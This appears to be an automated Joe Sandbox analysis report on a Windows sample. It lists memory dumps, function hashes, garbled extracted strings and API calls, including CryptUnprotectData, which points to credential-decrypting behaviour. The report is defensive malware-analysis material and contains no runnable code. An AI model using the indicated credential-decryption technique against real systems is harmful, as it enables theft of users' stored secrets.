Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 858fad1909c6bb3ca37ef15fc78d9978dd03dcc638d31123e778937802e58705
Instruction ID: a5579e1a747f115a29693789e4cf5ce733bb0d04c9a2ff20f3beb70a382341d2
Opcode Fuzzy Hash: 858fad1909c6bb3ca37ef15fc78d9978dd03dcc638d31123e778937802e58705
Instruction Fuzzy Hash: 0341517590421DDBDB10DF94DD89BFEB7B8BF48304F1045A8F609A6280D7B46A85CF91

Function 00BB6E25 Relevance: 10.3, Strings: 7, Instructions: 1575COMMON

Download Yara Rule

Strings

).w, xrefs: 00BB70B7
'i<, xrefs: 00BB6F03
h[w, xrefs: 00BB6EAA
<kO~, xrefs: 00BB6F40
5F?k, xrefs: 00BB701C
.l, xrefs: 00BB80D7
<G~O, xrefs: 00BB74D2

Memory Dump Source

Source File: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'i<$).w$.l$5F?k$<G~O$<kO~$h[w
API String ID: 0-3897359200
Opcode ID: bc2d966c886b57e60c9172c2c467e702db16742bf601fdcd9966b92a69396fca
Instruction ID: 43c541a8f0e9eaa22b06ccd9bd7de346b1f54ec4ed41fbad53f829f7c2520af5
Opcode Fuzzy Hash: bc2d966c886b57e60c9172c2c467e702db16742bf601fdcd9966b92a69396fca
Instruction Fuzzy Hash: ABB208F3A0C2049FE304BE6DEC8567ABBE9EF94720F1A453DE6C4C3744EA3558058696

Function 00BC5E3D Relevance: 9.1, Strings: 6, Instructions: 1635COMMON

Download Yara Rule

Strings

Hs,, xrefs: 00BC666D
vz|s, xrefs: 00BC6CAB
6AOs, xrefs: 00BC6971
i7, xrefs: 00BC62C3
ZzOb, xrefs: 00BC6963
aS, xrefs: 00BC69DE

Memory Dump Source

Source File: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6AOs$ZzOb$aS$vz|s$Hs,$i7
API String ID: 0-3904598882
Opcode ID: b40167289893273d87671cde626d251b2655a92749ffcc6e743825f823a20d42
Instruction ID: b4fcdf18c18789e931c18ebcb0af13aac511adb667167bb8d3eb1e1e8b13be44
Opcode Fuzzy Hash: b40167289893273d87671cde626d251b2655a92749ffcc6e743825f823a20d42
Instruction Fuzzy Hash: F1B2E4B360C2009FE704AE29EC8567ABBE9EFD4720F16893DE6C4C7344EA3558458797

Function 00BC27A0 Relevance: 9.1, Strings: 6, Instructions: 1611COMMON

Download Yara Rule

Strings

kpu, xrefs: 00BC2C3F
5$?w, xrefs: 00BC369A
4ls?, xrefs: 00BC2B99
Wuq, xrefs: 00BC3AC9
b/O_, xrefs: 00BC3A19
6A9s, xrefs: 00BC284A

Memory Dump Source

Source File: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4ls?$5$?w$6A9s$Wuq$b/O_$kpu
API String ID: 0-2500709543
Opcode ID: f29c8d49a76716c9c3cf69370a6e1b6de051f9a1dd32c44f0647ec8a78734f78
Instruction ID: eeff713ba54dfc66e99dac0c6fec1d0e7020bb2d50d3a734045119d6f0fe7497
Opcode Fuzzy Hash: f29c8d49a76716c9c3cf69370a6e1b6de051f9a1dd32c44f0647ec8a78734f78
Instruction Fuzzy Hash: DFB204F360C6009FE304AE2DDC8567ABBE9EF94320F1A493DEAC5C3744E63598458697

Function 00BB52A0 Relevance: 7.9, Strings: 5, Instructions: 1669COMMON

Download Yara Rule

Strings

~.ws, xrefs: 00BB5FBE
FN?w, xrefs: 00BB57F6
!.}o, xrefs: 00BB5D70
UJWO, xrefs: 00BB5B6F
FN?w, xrefs: 00BB57EA

Memory Dump Source

Source File: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !.}o$FN?w$FN?w$UJWO$~.ws
API String ID: 0-1218524193
Opcode ID: 755de3bb72ce5ed07994c76d28f798272cefeda56cf01c6f730ad3bcb9d8b198
Instruction ID: 63b1392226bf093e6b469a112cd640f0d8d1150cad2828e813a30faaa23939a0
Opcode Fuzzy Hash: 755de3bb72ce5ed07994c76d28f798272cefeda56cf01c6f730ad3bcb9d8b198
Instruction Fuzzy Hash: 16B25AF360C2049FE304AE2DEC8567ABBE9EF94720F16453DE9C5C7744EA3558018696

Function 00BC0CF2 Relevance: 7.8, Strings: 5, Instructions: 1551COMMON

Download Yara Rule

Strings

S=, xrefs: 00BC1482
@eK1, xrefs: 00BC180C
|tg, xrefs: 00BC0D70
^L?., xrefs: 00BC0FDE
i3G~, xrefs: 00BC1364

Memory Dump Source

Source File: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @eK1$^L?.$i3G~$|tg$S=
API String ID: 0-2136725270
Opcode ID: e2b9104155ceb9da28ace5079beba717f44cdabc2df12d42cd37fa04cfea6d20
Instruction ID: 23431a6fee15b7bd7721f75f41e144cdf80169983a17f7b2889e6ee188c6ca66
Opcode Fuzzy Hash: e2b9104155ceb9da28ace5079beba717f44cdabc2df12d42cd37fa04cfea6d20
Instruction Fuzzy Hash: 96B215F3608204AFE3046E2DDC8567AFBE9EF94720F1A493DE6C5C7744EA3598018697

Function 007F7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 007F724D
RtlAllocateHeap.NTDLL(00000000), ref: 007F7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 007F7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 007F72A4
LocalFree.KERNEL32(?), ref: 007F72AE

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 467c7a60bbe2826f0454d02cb44069a5ae74c035622f86797ba82b841ad145ea
Instruction ID: ca70b8b0e6402ce9dd9716436dd0fa914a663dfe3c02b59007dbd0feab697d1c
Opcode Fuzzy Hash: 467c7a60bbe2826f0454d02cb44069a5ae74c035622f86797ba82b841ad145ea
Instruction Fuzzy Hash: 33010075A40208BBDB14DFD8DD49FAD7778FB54700F104158FB05AA2C0D6B0AA018B65

Function 00BC46E8 Relevance: 7.5, Strings: 5, Instructions: 1263COMMON

Download Yara Rule

Strings

du}~, xrefs: 00BC565F
@J=, xrefs: 00BC47F8
cFyj, xrefs: 00BC4876
TQ?2, xrefs: 00BC49FA
A_?o, xrefs: 00BC4A50

Memory Dump Source

Source File: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @J=$A_?o$TQ?2$cFyj$du}~
API String ID: 0-1972333708
Opcode ID: c1b480edb49ec730223e82c43a0d34376fe4d5ec79fc597c32243a885d851c36
Instruction ID: 3bc050989bb98829ea4025fbe3cb1e91b89d4a767decc58acf827a3538c591c7
Opcode Fuzzy Hash: c1b480edb49ec730223e82c43a0d34376fe4d5ec79fc597c32243a885d851c36
Instruction Fuzzy Hash: 0F8239F3A0C2149FD304AE2DDC8567AF7E9EFD4720F1A892DEAC4C3744EA3558058696

Function 00808EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,007F5184,40000001,00000000,00000000,?,007F5184), ref: 00808EC0

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
